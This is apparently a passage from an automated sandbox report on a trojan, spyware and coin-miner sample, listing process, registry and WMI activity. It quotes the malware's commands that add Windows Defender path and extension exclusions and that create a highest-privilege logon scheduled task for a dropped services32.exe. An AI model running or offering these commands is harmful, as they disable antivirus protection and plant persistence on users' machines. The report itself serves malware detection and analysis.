Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF0120
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF0178
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF0190
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF51D1
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF4263
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA3600127B
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF2EC8
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF86D2
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF0ECC
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF16CA
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF5708
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF1F29
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF8F28
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF371B
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF5F2F
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF1744
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF673A
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF5788
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA36006796
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF0F95
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF27A9
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF37A1
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA360057DA
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF580A
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF4831
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF1840
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF504B
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF8865
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF2861
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF105B
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF3878
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FFE06D
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF087F
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF3090
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FFF8AB
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF34BE
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA3600ACC0
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF44D3
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF4CDF
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF24F3
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF1515
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF7511
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF5D22
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FFCD46
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA3600AD61
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FFCD70
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF256B
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA36000D89
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF2D7F
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF4D7A
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF5D92
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF35A3
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF1DC4
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF25D2
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF45CD
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF55E1
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF4DF1
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF15FD
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF3612
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF5E20
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF6621
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF262B
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF0E47
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF464A
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FFBF50
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF5671
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF3E81
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF3699
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF5EB5
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF26B0
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF66B0
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF1EB1
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF2B08
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF6B13
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA36005B1E
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF1B1D
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF0345
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF435E
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA3600A375
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF6380
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA36005B7D
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF138D
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF839E
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF2BD4
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF53CC
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA360013E5
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF3BF9
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF33F1
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF2405
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF4C03
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF5C12
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA36001410
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA36005C29
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF443B
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF544F
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF2C4A
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF3C5E
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FFCC75
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF1C81
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF5C8A
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF0C9D
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF68C9
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF00E8
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF20DF
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF5902
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF1914
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA3600C11D
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF1146
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF293B
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF3958
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF5152
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF6963
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FFBF58
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF0180
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FFA996
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF1991
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF319A
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF21B9
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF11BF
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA360051E8
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF39E0
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF41E0
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF61EF
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA36010A39
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF122B
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF5260
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF2A97
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF3A97
Source: C:\Windows\System32\services32.exe	Code function: 19_2_00007FFA35FF5AA1
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Code function: 29_2_00007FFA360043D6
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Code function: 29_2_00007FFA36005182
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Code function: 29_2_00007FFA36000098
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Code function: 29_2_00007FFA36000095

Source: YfTokH7RIj.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\AppData\Local\Temp\fl.exe

File created: C:\Windows\system32\services32.exe

Jump to behavior

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

Code function: 0_2_00D7DC4C SetFocus,SendMessageA,DestroyWindow,DestroyWindow,DestroyWindow,DestroyWindow,NtdllDefWindowProc_A,

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

Code function: 0_2_00D70270: CreateFileA,DeviceIoControl,CloseHandle,

Source: sihost32.exe.19.dr	Static PE information: No import functions for PE file found
Source: fl.exe.0.dr	Static PE information: No import functions for PE file found
Source: services32.exe.7.dr	Static PE information: No import functions for PE file found

Source: YfTokH7RIj.exe	Binary or memory string: OriginalFilename vs YfTokH7RIj.exe
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp	Binary or memory string: OriginalFilename vs YfTokH7RIj.exe
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameStopScam.exe8 vs YfTokH7RIj.exe
Source: YfTokH7RIj.exe, 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp	Binary or memory string: OriginalFilename vs YfTokH7RIj.exe
Source: YfTokH7RIj.exe, 00000000.00000002.722264644.0000000000D51000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenameSV vs YfTokH7RIj.exe
Source: YfTokH7RIj.exe, 00000000.00000002.726954791.00000000038AF000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameStopScam.exe8 vs YfTokH7RIj.exe
Source: YfTokH7RIj.exe, 00000000.00000003.700874703.000000000716E000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs YfTokH7RIj.exe
Source: YfTokH7RIj.exe, 00000000.00000002.716576999.0000000000426000.00000080.00020000.sdmp	Binary or memory string: OriginalFilenameFocusing.exe4 vs YfTokH7RIj.exe
Source: YfTokH7RIj.exe, 00000000.00000003.648331648.0000000002680000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameFocusing.exe4 vs YfTokH7RIj.exe
Source: YfTokH7RIj.exe, 00000000.00000002.721958830.0000000000B5A000.00000004.00000020.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs YfTokH7RIj.exe
Source: YfTokH7RIj.exe, 00000000.00000002.732563568.000000000716E000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs YfTokH7RIj.exe
Source: YfTokH7RIj.exe	Binary or memory string: OriginalFilenameFocusing.exe4 vs YfTokH7RIj.exe

Source: YfTokH7RIj.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0

Source: YfTokH7RIj.exe	Static PE information: Section: ZLIB complexity 1.00056966146
Source: YfTokH7RIj.exe	Static PE information: Section: ZLIB complexity 1.0107421875
Source: YfTokH7RIj.exe	Static PE information: Section: ZLIB complexity 1.004296875
Source: YfTokH7RIj.exe	Static PE information: Section: ZLIB complexity 1.021484375

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

File created: C:\Users\user\AppData\Local\Yandex

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.mine.winEXE@37/25@4/3

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: YfTokH7RIj.exe	Virustotal: Detection: 40%
Source: YfTokH7RIj.exe	ReversingLabs: Detection: 48%

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Users\user\Desktop\YfTokH7RIj.exe "C:\Users\user\Desktop\YfTokH7RIj.exe"
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process created: C:\Users\user\AppData\Local\Temp\fl.exe "C:\Users\user\AppData\Local\Temp\fl.exe"
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process created: C:\Windows\System32\cmd.exe cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe"
Source: unknown	Process created: C:\Windows\System32\services32.exe C:\Windows\system32\services32.exe
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process created: C:\Windows\System32\cmd.exe cmd" cmd /c "C:\Windows\system32\services32.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\services32.exe C:\Windows\system32\services32.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
Source: C:\Windows\System32\services32.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Source: C:\Windows\System32\services32.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\services32.exe	Process created: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe "C:\Windows\system32\Microsoft\Telemetry\sihost32.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process created: C:\Users\user\AppData\Local\Temp\fl.exe "C:\Users\user\AppData\Local\Temp\fl.exe"
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process created: C:\Windows\System32\cmd.exe cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process created: C:\Windows\System32\cmd.exe cmd" cmd /c "C:\Windows\system32\services32.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe"
Source: C:\Windows\System32\services32.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\services32.exe C:\Windows\system32\services32.exe
Source: C:\Windows\System32\services32.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\services32.exe	Process created: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe "C:\Windows\system32\Microsoft\Telemetry\sihost32.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Source: C:\Users\user\Desktop\YfTokH7RIj.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\fl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine, ProcessID from Win32_Process
Source: C:\Windows\System32\services32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\services32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine, ProcessID from Win32_Process
Source: C:\Windows\System32\services32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
